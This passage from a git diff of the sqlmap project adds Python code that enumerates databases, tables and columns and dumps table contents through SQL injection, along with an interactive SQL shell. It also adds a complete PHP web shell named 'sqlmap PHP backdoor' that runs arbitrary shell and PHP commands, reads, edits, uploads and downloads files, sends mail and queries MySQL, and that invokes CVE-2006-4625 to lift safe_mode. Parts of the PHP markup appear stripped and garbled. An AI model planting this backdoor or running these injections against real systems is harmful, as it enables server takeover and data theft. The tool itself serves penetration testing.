logger.info(logMsg) + + rootQuery = queries[kb.dbms].tables + + if conf.unionUse: + query = rootQuery["inband"]["query"] + condition = rootQuery["inband"]["condition"] + + if conf.db: + if "," in conf.db: + dbs = conf.db.split(",") + query += " WHERE " + query += " OR ".join("%s = '%s'" % (condition, db) for db in dbs) + else: + query += " WHERE %s='%s'" % (condition, conf.db) + elif conf.excludeSysDbs: + query += " WHERE " + query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList) + logMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList) + logger.info(logMsg) + + value = inject.getValue(query, blind=False) + + if value: + for db, table in value: + if not self.cachedTables.has_key(db): + self.cachedTables[db] = [table] + else: + self.cachedTables[db].append(table) + + if not self.cachedTables: + if conf.db: + if "," in conf.db: + dbs = conf.db.split(",") + else: + dbs = [conf.db] + else: + if not len(self.cachedDbs): + dbs = self.getDbs() + else: + dbs = self.cachedDbs + + for db in dbs: + if conf.excludeSysDbs and db in self.excludeDbsList: + logMsg = "skipping system database '%s'" % db + logger.info(logMsg) + + continue + + logMsg = "fetching number of tables for " + logMsg += "database '%s'" % db + logger.info(logMsg) + + query = rootQuery["blind"]["count"] % db + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + warnMsg = "unable to retrieve the number of " + warnMsg += "tables for database '%s'" % db + logger.warn(warnMsg) + continue + + tables = [] + indexRange = getRange(count) + + for index in indexRange: + query = rootQuery["blind"]["query"] % (db, index) + table = inject.getValue(query, inband=False) + tables.append(table) + + if tables: + self.cachedTables[db] = tables + else: + warnMsg = "unable to retrieve the tables " + warnMsg += "for database '%s'" % db + logger.warn(warnMsg) + + if not self.cachedTables: + errMsg = "unable to retrieve the tables for any database" + raise sqlmapNoneDataException, errMsg + + return self.cachedTables + + + def getColumns(self, onlyColNames=False): + if kb.dbms == "MySQL" and not self.has_information_schema: + errMsg = "information_schema not available, " + errMsg += "back-end DBMS is MySQL < 5.0" + raise sqlmapUnsupportedFeatureException, errMsg + + if not conf.tbl: + errMsg = "missing table parameter" + raise sqlmapMissingMandatoryOptionException, errMsg + + if "." in conf.tbl: + conf.db, conf.tbl = conf.tbl.split(".") + + if not conf.db: + errMsg = "missing database parameter" + + if kb.dbms == "PostgreSQL": + conf.db = "public" + + errMsg += ", sqlmap is going to use 'public' schema" + logger.warn(errMsg) + else: + raise sqlmapMissingMandatoryOptionException, errMsg + + logMsg = "fetching columns " + logMsg += "for table '%s' " % conf.tbl + logMsg += "on database '%s'" % conf.db + logger.info(logMsg) + + rootQuery = queries[kb.dbms].columns + + if kb.dbms == "Oracle": + conf.db = conf.db.upper() + conf.tbl = conf.tbl.upper() + + if conf.unionUse: + if kb.dbms in ( "MySQL", "PostgreSQL" ): + query = rootQuery["inband"]["query"] % (conf.tbl, conf.db) + elif kb.dbms == "Oracle": + query = rootQuery["inband"]["query"] % conf.tbl.upper() + elif kb.dbms == "Microsoft SQL Server": + query = rootQuery["inband"]["query"] % (conf.db, conf.db, + conf.db, conf.db, + conf.db, conf.db, + conf.db, conf.tbl) + + value = inject.getValue(query, blind=False) + + if value: + table = {} + columns = {} + for column, colType in value: + columns[column] = colType + table[conf.tbl] = columns + self.cachedColumns[conf.db] = table + + if not self.cachedColumns: + logMsg = "fetching number of columns " + logMsg += "for table '%s'" % conf.tbl + logMsg += " on database '%s'" % conf.db + logger.info(logMsg) + + if kb.dbms in ( "MySQL", "PostgreSQL" ): + query = rootQuery["blind"]["count"] % (conf.tbl, conf.db) + elif kb.dbms == "Oracle": + query = rootQuery["blind"]["count"] % conf.tbl.upper() + elif kb.dbms == "Microsoft SQL Server": + query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl) + + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + errMsg = "unable to retrieve the number of columns " + errMsg += "for table '%s' " % conf.tbl + errMsg += "on database '%s'" % conf.db + raise sqlmapNoneDataException, errMsg + + table = {} + columns = {} + indexRange = getRange(count) + + for index in indexRange: + if kb.dbms in ( "MySQL", "PostgreSQL" ): + query = rootQuery["blind"]["query"] % (conf.tbl, conf.db, index) + elif kb.dbms == "Oracle": + query = rootQuery["blind"]["query"] % (conf.tbl.upper(), index) + elif kb.dbms == "Microsoft SQL Server": + query = rootQuery["blind"]["query"] % (index, conf.db, + conf.db, conf.tbl) + + column = inject.getValue(query, inband=False) + + if not onlyColNames: + if kb.dbms in ( "MySQL", "PostgreSQL" ): + query = rootQuery["blind"]["query2"] % (conf.tbl, column, conf.db) + elif kb.dbms == "Oracle": + query = rootQuery["blind"]["query2"] % (conf.tbl.upper(), column) + elif kb.dbms == "Microsoft SQL Server": + query = rootQuery["blind"]["query2"] % (conf.db, conf.db, conf.db, + conf.db, column, conf.db, + conf.db, conf.db, conf.tbl) + + colType = inject.getValue(query, inband=False) + columns[column] = colType + else: + columns[column] = None + + if columns: + table[conf.tbl] = columns + self.cachedColumns[conf.db] = table + + if not self.cachedColumns: + errMsg = "unable to retrieve the columns " + errMsg += "for table '%s' " % conf.tbl + errMsg += "on database '%s'" % conf.db + raise sqlmapNoneDataException, errMsg + + return self.cachedColumns + + + def dumpTable(self): + if kb.dbms == "MySQL" and not self.has_information_schema: + errMsg = "information_schema not available, " + errMsg += "back-end DBMS is MySQL < 5.0" + raise sqlmapUnsupportedFeatureException, errMsg + + if not conf.tbl: + errMsg = "missing table parameter" + raise sqlmapMissingMandatoryOptionException, errMsg + + if "." in conf.tbl: + conf.db, conf.tbl = conf.tbl.split(".") + + if not conf.db: + errMsg = "missing database parameter" + + if kb.dbms == "PostgreSQL": + conf.db = "public" + + errMsg += ", sqlmap is going to use 'public' schema" + logger.warn(errMsg) + else: + raise sqlmapMissingMandatoryOptionException, errMsg + + if kb.dbms == "Oracle": + conf.db = conf.db.upper() + conf.tbl = conf.tbl.upper() + + rootQuery = queries[kb.dbms].dumpTable + + logMsg = "fetching" + if conf.col: + colList = conf.col.split(",") + colString = ", ".join(column for column in colList) + logMsg += " columns '%s'" % colString + logMsg += " entries for table '%s'" % conf.tbl + logMsg += " on database '%s'" % conf.db + logger.info(logMsg) + + if conf.col: + self.cachedColumns[conf.db] = {} + self.cachedColumns[conf.db][conf.tbl] = {} + for column in colList: + self.cachedColumns[conf.db][conf.tbl][column] = None + elif not self.cachedColumns: + self.cachedColumns = self.getColumns(onlyColNames=True) + + colList = self.cachedColumns[conf.db][conf.tbl].keys() + colList.sort(key=lambda x: x.lower()) + colString = ", ".join(column for column in colList) + + if conf.unionUse: + if kb.dbms == "Oracle": + query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper()) + else: + query = rootQuery["inband"]["query"] % (colString, conf.db, conf.tbl) + entries = inject.getValue(query, blind=False) + + if entries: + entriesCount = len(entries) + index = 0 + + for column in colList: + colLen = len(column) + + if not self.dumpedTable.has_key(column): + self.dumpedTable[column] = { "length": 0, "values": [] } + + for entry in entries: + if isinstance(entry, str): + colEntry = entry + else: + colEntry = entry[index] + + colEntryLen = len(colEntry) + maxLen = max(colLen, colEntryLen) + + if maxLen > self.dumpedTable[column]["length"]: + self.dumpedTable[column]["length"] = maxLen + + self.dumpedTable[column]["values"].append(colEntry) + + index += 1 + + if not self.dumpedTable: + if conf.unionUse: + warnMsg = "unable to retrieve the " + if conf.col: + warnMsg += "columns '%s' " % colString + warnMsg += "entries for table '%s' " % conf.tbl + warnMsg += "on database '%s'" % conf.db + warnMsg += " through UNION query SQL injection, " + warnMsg += "probably because it has no entries, going " + warnMsg += "blind to confirm" + logger.warn(warnMsg) + + logMsg = "fetching number of " + if conf.col: + logMsg += "columns '%s' " % colString + logMsg += "entries for table '%s' " % conf.tbl + logMsg += "on database '%s'" % conf.db + logger.info(logMsg) + + if kb.dbms == "Oracle": + query = rootQuery["blind"]["count"] % conf.tbl.upper() + else: + query = rootQuery["blind"]["count"] % (conf.db, conf.tbl) + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + errMsg = "unable to retrieve the number of " + if conf.col: + errMsg += "columns '%s' " % colString + errMsg += "entries for table '%s' " % conf.tbl + errMsg += "on database '%s'" % conf.db + + if conf.dumpAll: + logger.warn(errMsg) + return self.dumpedTable + else: + raise sqlmapNoneDataException, errMsg + + lengths = {} + entries = {} + indexRange = getRange(count, True) + + for index in indexRange: + for column in colList: + if column not in lengths: + lengths[column] = 0 + + if column not in entries: + entries[column] = [] + + if kb.dbms in ( "MySQL", "PostgreSQL" ): + query = rootQuery["blind"]["query"] % (column, conf.db, + conf.tbl, colList[0], + index) + elif kb.dbms == "Oracle": + query = rootQuery["blind"]["query"] % (column, column, + conf.tbl.upper(), + colList[0], index) + elif kb.dbms == "Microsoft SQL Server": + query = rootQuery["blind"]["query"] % (column, conf.db, + conf.tbl, column, + index, column, + conf.db, conf.tbl, + colList[0], colList[0]) + + value = inject.getValue(query, inband=False) + + lengths[column] = max(lengths[column], len(value)) + entries[column].append(value) + + for column, columnEntries in entries.items(): + if lengths[column] < len(column): + length = len(column) + else: + length = lengths[column] + + self.dumpedTable[column] = { + "length": length, + "values": columnEntries, + } + + entriesCount = len(columnEntries) + + if self.dumpedTable: + self.dumpedTable["__infos__"] = { + "count": entriesCount, + "table": conf.tbl, + "db": conf.db + } + else: + errMsg = "unable to retrieve the entries of " + if conf.col: + errMsg += "columns '%s' " % colString + errMsg += "for table '%s' " % conf.tbl + errMsg += "on database '%s'" % conf.db + + if conf.dumpAll: + logger.warn(errMsg) + return self.dumpedTable + else: + raise sqlmapNoneDataException, errMsg + + return self.dumpedTable + + + def dumpAll(self): + if kb.dbms == "MySQL" and not self.has_information_schema: + errMsg = "information_schema not available, " + errMsg += "back-end DBMS is MySQL < 5.0" + raise sqlmapUnsupportedFeatureException, errMsg + + conf.db = None + conf.tbl = None + conf.col = None + self.cachedDbs = [] + self.cachedTables = self.getTables() + + for db, tables in self.cachedTables.items(): + conf.db = db + + for table in tables: + conf.tbl = table + self.cachedColumns = {} + self.dumpedTable = {} + + data = self.dumpTable() + + if data: + dumper.dbTableValues(data) + + + def sqlQuery(self, query): + logMsg = "fetching SQL SELECT query output: '%s'" % query + logger.info(logMsg) + + if query.startswith("select "): + query = query.replace("select ", "SELECT ", 1) + + if " from " in query: + query = query.replace(" from ", " FROM ") + + output = inject.getValue(query, fromUser=True) + + if output == "Quit": + return None + else: + return output + + + def sqlShell(self): + logMsg = "calling %s shell. To quit type " % kb.dbms + logMsg += "'x' or 'q' and press ENTER" + logger.info(logMsg) + + autoCompletion(sqlShell=True) + + while True: + query = None + + try: + query = raw_input("sql> ") + except KeyboardInterrupt: + print + errMsg = "user aborted" + logger.error(errMsg) + except EOFError: + print + errMsg = "exit" + logger.error(errMsg) + break + + if not query: + continue + + if query.lower() in ( "x", "q", "exit", "quit" ): + break + + output = self.sqlQuery(query) + + if output and output != "Quit": + dumper.string(query, output) + elif output != "Quit": + print "No output" diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py new file mode 100644 index 000000000..8f23d0506 --- /dev/null +++ b/plugins/generic/filesystem.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python + +""" +$Id: filesystem.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.exception import sqlmapUnsupportedFeatureException + + +class Filesystem: + """ + This class defines generic OS file system functionalities for plugins. + """ + + def readFile(self, rFile): + errMsg = "this plugin does not support OS file reading yet" + raise sqlmapUnsupportedFeatureException, errMsg + + + def writeFile(self, wFile): + errMsg = "this plugin does not support OS file writing yet" + raise sqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py new file mode 100644 index 000000000..52085163c --- /dev/null +++ b/plugins/generic/fingerprint.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python + +""" +$Id: fingerprint.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.exception import sqlmapUndefinedMethod + + +class Fingerprint: + """ + This class defines generic fingerprint functionalities for plugins. + """ + + @staticmethod + def unescape(expression): + errMsg = "'unescape' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg + + + @staticmethod + def escape(expression): + errMsg = "'escape' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg + + + def getFingerprint(self): + errMsg = "'getFingerprint' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg + + + def checkDbms(self): + errMsg = "'checkDbms' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py new file mode 100644 index 000000000..f6982d92d --- /dev/null +++ b/plugins/generic/takeover.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python + +""" +$Id: takeover.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.exception import sqlmapUnsupportedFeatureException + + +class Takeover: + """ + This class defines generic OS takeover functionalities for plugins. + """ + + def osShell(self): + errMsg = "this plugin does not support OS shell functionality yet" + raise sqlmapUnsupportedFeatureException, errMsg diff --git a/shell/backdoor.php b/shell/backdoor.php new file mode 100644 index 000000000..07ecc696c --- /dev/null +++ b/shell/backdoor.php @@ -0,0 +1,304 @@ +<?php +@set_time_limit(); +@error_reporting(0); +@ob_implicit_flush(); +$phpself=$_SERVER["PHP_SELF"]; +$css="body { background: #FFCC66; font-family: sans-serif; margin: auto; margin-bottom: 1em; margin-top: 1em; width: 95%; } a { color: #663300; text-decoration: none; } input, textarea { border: 1px solid gray; } pre { border: 1px dashed #663300; padding: 5px; background: #fffff0; } table { border-collapse: collapse; border: 1px solid #663300; background: #fffff0; width: 100%; } td, th { border: 1px solid #663300; padding: .3em; } thead th, tfoot th { border: 1px solid #663300; text-align: center; font-size: 1em; font-weight: bold; color: #663300; background: #FFCC66; } #maintitle { background: #FFFFFF; border: 1px solid; border-color: #663300; padding: .3em; text-align: center; } #leftbody { background: #FFFFFF; border: 1px solid; border-color: #663300; padding: .5em; width: 22%; float: left; position: relative; } #rightbody { background: #FFFFFF; border: 1px solid; border-color: #663300; padding: 15px; width: 73%; float: right; position: relative; display:inline; }"; +$cssEncoded=@urlencode($css); + +function error($message) { + $completeMessage="<b>Error</b>: " . $message . "."; + die($completeMessage); +} + +function getSymbolByQuantity($bytes) { + $symbols=array('B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB'); + $exp=@floor(log($bytes)/log(1024)); + + return @sprintf('%.2f ' . $symbols[$exp], ($bytes/pow(1024, @floor($exp)))); +} + +function ex($command) { + $res=''; + if (@function_exists('exec')) { + @exec($command, $res); + $res=@join("\n", $res); + } + elseif (@function_exists('shell_exec')) { + $res=@shell_exec($command); + } + elseif(@function_exists('system')) { + @ob_start(); + @system($command); + $res=@ob_get_contents(); + @ob_end_clean(); + } + elseif (@function_exists('passthru')) { + @ob_start(); + @passthru($command); + $res=@ob_get_contents(); + @ob_end_clean(); + } + elseif (@is_resource($f=@popen($command, "r"))) { + $res=""; + while(!@feof($f)) { + $res .= @fread($f, 1024); + } + @pclose($f); + } + $res=@htmlspecialchars($res); + return $res; +} + +if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) { + echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">"; + echo "<html><head>"; + echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">"; + echo "<meta name=\"author\" content=\"Bernardo Damele A. G.\">"; + echo "<meta name=\"robots\" content=\"noindex,nofollow,noarchive\">"; + echo "<style type=\"text/css\">" . $css . "</style><title>sqlmap PHP backdoor"; + echo "

sqlmap PHP backdoor


"; + echo "

System information: here
"; + echo "PHP info: here
"; + echo "Send an email: here

"; + echo "
Read a file

"; + echo "
Edit a file

"; + echo "
Download a file
Directory:
File:

"; + echo "
Upload a file

to directory:

"; + echo "
Browse a directory

"; + echo "
Execute a shell command

"; + echo "
Execute a PHP command

"; + echo "
Execute a MySQL query
host:
user:
password:
query:

"; + echo "
"; + echo "\"Valid"; + echo "\"Valid"; + echo "
"; +} + +if (isset($_REQUEST["sysinfo"])) { + if (@strtolower(@substr(@PHP_OS, 0, 3)) == "win") { + $win=1; + } + else { + $win=0; + } + $safeMode=@ini_get("safe_mode"); + $openBaseDir=@ini_get("open_basedir"); + if ($safeMode || $openBaseDir) { + /** + * Exploit CVE: CVE-2006-4625 + * Affected Software: PHP 5.1.6 / 4.4.4 < = x + * Advisory URL: http://securityreason.com/achievement_securityalert/42 + * Try to restore to default value + */ + ini_restore("safe_mode"); + ini_restore("open_basedir"); + } + $magicQuotesGpc=@ini_get("magic_quotes_gpc"); + $dir=@getcwd(); + $total=@disk_total_space($dir); + $free=@disk_free_space($dir); + echo "Operating system
" . @PHP_OS;
+    echo "
Server uname
" . php_uname();
+    echo "
Server uptime
";
+    echo ex("uptime");
+    echo "
Server time
";
+    echo date("D, M d, h:iA");
+    echo "
Disk space
";
+    echo "Total space: " . getSymbolByQuantity($total) . "
"; + echo "Free space: " . getSymbolByQuantity($free); + echo "
Web server username
";
+    echo (!$win) ? `id` . "
" : @get_current_user(); + echo "
PHP version
" . @phpversion();
+    echo "
PHP safe_mode
";
+    echo ($safeMode) ? "ON
" : "OFF
"; + echo "
PHP open_basedir
";
+    echo ($openBaseDir) ? "ON
" : "OFF
"; + echo "
PHP magic_quotes_gpc
";
+    echo ($magicQuotesGpc) ? "ON
" : "OFF
"; + echo "
CPU information
";
+    echo ex("cat /proc/cpuinfo");
+    echo "
Memory information
";
+    echo ex("cat /proc/meminfo");
+    echo "
Open ports and active connections
";
+    echo ex("netstat -nat");
+    echo "
Network devices
";
+    echo ex("/sbin/ifconfig -a");
+    echo "
Processes
";
+    echo ex("ps auxfww");
+    echo "
"; +} + +else if(isset($_REQUEST["phpinfo"])) { + echo @phpinfo(); +} + +else if (isset($_REQUEST["readFile"])) { + $file=$_REQUEST["readFile"]; + $fileHandler=@fopen($file, "rb") or error("Unable to read file " . $file . ""); + $fileContent=@file_get_contents($file); + echo "

File: " . $file . "

"; + echo "

" . @htmlspecialchars($fileContent) . "
"; +} + +else if(isset($_REQUEST["editFile"])) { + $file=$_REQUEST["editFile"]; + if (!$file) { + error("Specify the file to edit"); + } + $fileHandler=@fopen($file, "rb") or error("Unable to read file " . $file . ""); + $fileContent=@file_get_contents($file); + echo "
"; + echo "File:

"; + echo "
"; +} + +else if (isset($_REQUEST["saveFile"])) { + $file=$_REQUEST["saveFile"]; + $newContent=$_REQUEST["contentFile"]; + if (@is_writable($file)) { + $fileHandler=@fopen($file, "w+") or error("Unable to read file " . $file . ""); + @fwrite($fileHandler, $newContent) or error("Unable to write on file " . $file . ""); + echo "File " . $file . " successfully written"; + @fclose($fileHandler); + } + else { + error("File " . $file . " is not writable"); + } +} + +else if (isset($_REQUEST["download"])) { + ob_clean(); + $dir=$_REQUEST["dir"]; + $file=$_REQUEST["download"]; + $filename=$dir. "/" . $file; + $fileHandler=@fopen($filename, "rb") or error("Unable to read file " . $file . ""); + $fileContent=@file_get_contents($filename); + header("Content-type: application/octet-stream"); + header("Content-length: " . strlen($fileContent)); + header("Content-disposition: attachment; filename=" . $file . ";"); + echo $fileContent; + exit; +} + +else if (isset($_REQUEST["upload"])) { + if (!isset($_REQUEST["uploadDir"])) { + error("Specify directory name (ig: /tmp)"); + } + $dir=$_REQUEST["uploadDir"]; + $file=$HTTP_POST_FILES["file"]["name"]; + @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or error("File upload error"); + @chmod($dir . "/" . $file, 0755) or error("Unable to set file permission on " . $file . ""); + echo "

File " . $file . " successfully uploaded to " . $dir . "

"; +} + +else if (isset($_REQUEST["listDir"])) { + $dirToOpen=$_REQUEST["listDir"]; + $dirHandler=@opendir($dirToOpen) or error("Unable to open directory"); + echo "

Directory: " . $dirToOpen . "

"; + echo ""; + $list=array(); + while ($o=@readdir($dirHandler)) { + $list[]=$o; + } + @closedir($dirHandler); + @sort($list); + foreach ($list as $file) { + if ($file == ".") { + continue; + } + $linkToFile=$dirToOpen . "/" . $file; + $isdir=@is_dir($linkToFile); + $islink=@is_link($linkToFile); + $isfile=@is_file($linkToFile); + echo ""; + if ($isdir) { + echo ""; + echo ""; + $owner=@posix_getpwuid(@fileowner($linkToFile)); + $group=@posix_getgrgid(@filegroup($linkToFile)); + echo ""; + if ($isdir) { + echo ""; + } + else if ($islink) { + echo ""; + } + else if ($isfile) { + echo ""; + } + else { + echo ""; + } + echo (@is_readable($linkToFile) && $isfile) ? "" : ""; + echo (@is_writable($linkToFile) && $isfile) ? "" : ""; + echo (@is_readable($linkToFile) && $isfile) ? "" : ""; + echo ""; + } +} + +else if (isset($_REQUEST["mailForm"])) { + echo ""; + echo ""; + echo "To:

"; + echo "Subject:

"; + echo "Body:

"; + echo ""; +} + +else if (isset($_REQUEST["mail"])) { + $status=@mail($_REQUEST["to"], $_REQUEST["subject"], $_REQUEST["msg"]); + echo $status ? "Mail sent" : "Failed to send mail"; + @exit; +} + +else if (isset($_REQUEST["cmd"])) { + $cmd=$_REQUEST["cmd"]; + echo "

Shell command: " . $cmd . "

"; + echo "
" . ex($cmd) . "
"; +} + +else if(isset($_REQUEST["phpcode"])) { + $code=$_REQUEST["phpcode"]; + echo "

PHP command: " . $code . "

"; + echo "
";
+    echo @eval("print_r($code);");
+    echo "
"; +} + +else if (isset($_REQUEST["query"])) { + $host=$_REQUEST["host"]; + $user=$_REQUEST["user"]; + $password=$_REQUEST["password"]; + $query=$_REQUEST["query"]; + $link=@mysql_connect("$host", "$user", "$password"); + if (!$link) { + error(@mysql_error()); + } + $result=@mysql_query($query); + if (!$result) { + error(@mysql_error()); + } + echo "

MySQL query: " . $query . "

"; + echo "
";
+    while ($row=@mysql_fetch_array($result, MYSQL_ASSOC)) {
+        @print_r($row);
+    }
+    echo "
"; + @mysql_free_result($result); +} + +if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) { + echo ""; +} +?> diff --git a/shell/uploader.php b/shell/uploader.php new file mode 100644 index 000000000..2f2efc343 --- /dev/null +++ b/shell/uploader.php @@ -0,0 +1,12 @@ +sqlmap backdoor uploader

to directory: "; +} +?> diff --git a/sqlmap.conf b/sqlmap.conf new file mode 100644 index 000000000..c72d48811 --- /dev/null +++ b/sqlmap.conf @@ -0,0 +1,236 @@ +[Request] + +# Target URL. +# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 +url = http://127.0.0.1/sqlmap/mysql/get_int.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_brackets.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_str_like.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_str_like_par.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_str_like_par2.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_str_like_par3.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_dstr_like_par.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_dstr_like_par2.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_int_str.php?id=1&name=luther + +# Rather than providing a target url, let Google return target +# hosts as result of your Google dork expression. For a list of Google +# dorks see Johnny Long Google Hacking Database at +# http://johnny.ihackstuff.com/ghdb.php. +# Example: +ext:php +inurl:"&id=" +intext:"powered by " +googleDork = + +# Testable parameter(s) comma separated. By default all GET/POST/Cookie +# parameters and HTTP User-Agent are tested by sqlmap. +testParameter = + +# HTTP method to perform HTTP requests. +# Valid: GET or POST +# Default: GET +method = GET + +# Data string to be sent through POST. It is mandatory only when +# HTTP method is set to POST. +data = + +# HTTP Cookie header. +cookie = + +# HTTP Referer header. Useful to fake the HTTP Referer header value at +# each HTTP request. +referer = + +# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value +# at each HTTP request +# sqlmap will also test for SQL injection on the HTTP User-Agent value. +agent = sqlmap/0.6.1 (http://sqlmap.sourceforge.net) + +# Load a random HTTP User-Agent header from file +# Example: txt/user-agents.txt +userAgentsFile = + +# HTTP Authentication type. Useful only if the target url requires +# HTTP Basic or Digest authentication and you have such data. +# Valid: Basic or Digest +aType = + +# HTTP Authentication credentials. Useful only if the target url requires +# HTTP Basic or Digest authentication and you have such data. +# Syntax: username:password +aCred = + +# Use a HTTP proxy to connect to the target url. +# Syntax: http://url:port +proxy = + +# Maximum number of concurrent HTTP requests (handled with Python threads) +# to be used in the inference SQL injection attack. +# Default: 1 +threads = 1 + + +[Injection] + +# String to match in page when the query is valid, only needed if the +# page content dynamically changes at each refresh, consequently changing +# the MD5 of the page which is the method used by default to determine +# if a query was valid or not. Read the documentation for further +# details. +string = + +# Force back-end DBMS to this value. If this option is set, the back-end +# DBMS identification process will be minimized as needed. +# If not set, sqlmap will detect back-end DBMS automatically by default. +# Valid: mssql, mysql, oracle, pgsql +dbms = + + +[Fingerprint] + +# Perform an extensive back-end database management system fingerprint +# based on various techniques. +# Valid: True or False +extensiveFp = False + + +[Enumeration] + +# Retrieve back-end database management system banner. +# Valid: True or False +getBanner = False + +# Retrieve back-end database management system current user. +# Valid: True or False +getCurrentUser = False + +# Retrieve back-end database management system current database. +# Valid: True or False +getCurrentDb = False + +# Enumerate back-end database management system users. +# Valid: True or False +getUsers = False + +# Enumerate back-end database management system users password hashes. +# Valid: True or False +getPasswordHashes = False + +# Enumerate back-end database management system users privileges. +# Valid: True or False +getPrivileges = False + +# Enumerate back-end database management system databases. +# Valid: True or False +getDbs = False + +# Enumerate back-end database management system database tables. +# Optional: db +# Valid: True or False +getTables = False + +# Enumerate back-end database management system database table columns. +# Requires: db and tbl +# Valid: True or False +getColumns = False + +# Dump back-end database management system database table entries. +# Requires: db and tbl +# Optional: col +# Valid: True or False +dumpTable = False + +# Dump all back-end database management system databases tables entries. +# Valid: True or False +dumpAll = False + +# Back-end database management system database to enumerate. +db = + +# Back-end database management system database table to enumerate. +tbl = + +# Back-end database management system database table column to enumerate. +col = + +# Back-end database management system database user to enumerate. +user = + +# Exclude DBMS system databases when enumerating tables. +# Valid: True or False +excludeSysDbs = False + +# First table entry to dump (cursor start) +# Valid: number +# Default: 1 (sqlmap will start to dump the table entries from the first) +limitStart = 1 + +# Last table entry to dump (cursor stop) +# Valid: number +# Default: 1 (sqlmap will detect the number of table entries and dump +# until the last) +limitStop = 1 + +# SQL SELECT query to be executed. +# Example: SELECT 'foo', 'bar' +query = + +# Prompt for an interactive SQL shell. +# Valid: True or False +sqlShell = False + + +[File system] + +# Read a specific OS file content (only on MySQL). +# Examples: '/etc/passwd' or 'C:\boot.ini' +rFile = + +# Write to a specific OS file (not yet available). +# Example: /tmp/sqlmap.txt or C:\WINNT\Temp\sqlmap.txt +wFile = + + +[Takeover] + +# Prompt for an interactive OS shell (only on PHP/MySQL environment with a +# writable directory within the web server document root for the moment). +# Valid: True or False +osShell = False + + +[Miscellaneous] + +# Test for UNION SELECT (inband) SQL injection. +# Valid: True or False +unionTest = False + +# Use the UNION SELECT (inband) SQL injection to retrieve the queries +# output. No need to go blind. +# Valid: True or False +unionUse = False + +# Retrieve each query output length and calculate the estimated time of +# arrival in real time. +# Valid: True or False +eta = False + +# Verbosity level. +# Valid values: +# 0: Silent +# 1: Show info messages +# 2: Show also debug messages +# 3: Show also HTTP requests +# 4: Show also HTTP responses headers +# 5: Show also HTTP responses page content +# Default: 0 +verbose = 0 + +# Update sqlmap to the latest stable version. +# Valid: True or False +updateAll = False + +# Save and resume all data retrieved on a session file. +sessionFile = + +# Never ask for user input, use the default behaviour. +# Valid: True or False +batch = False diff 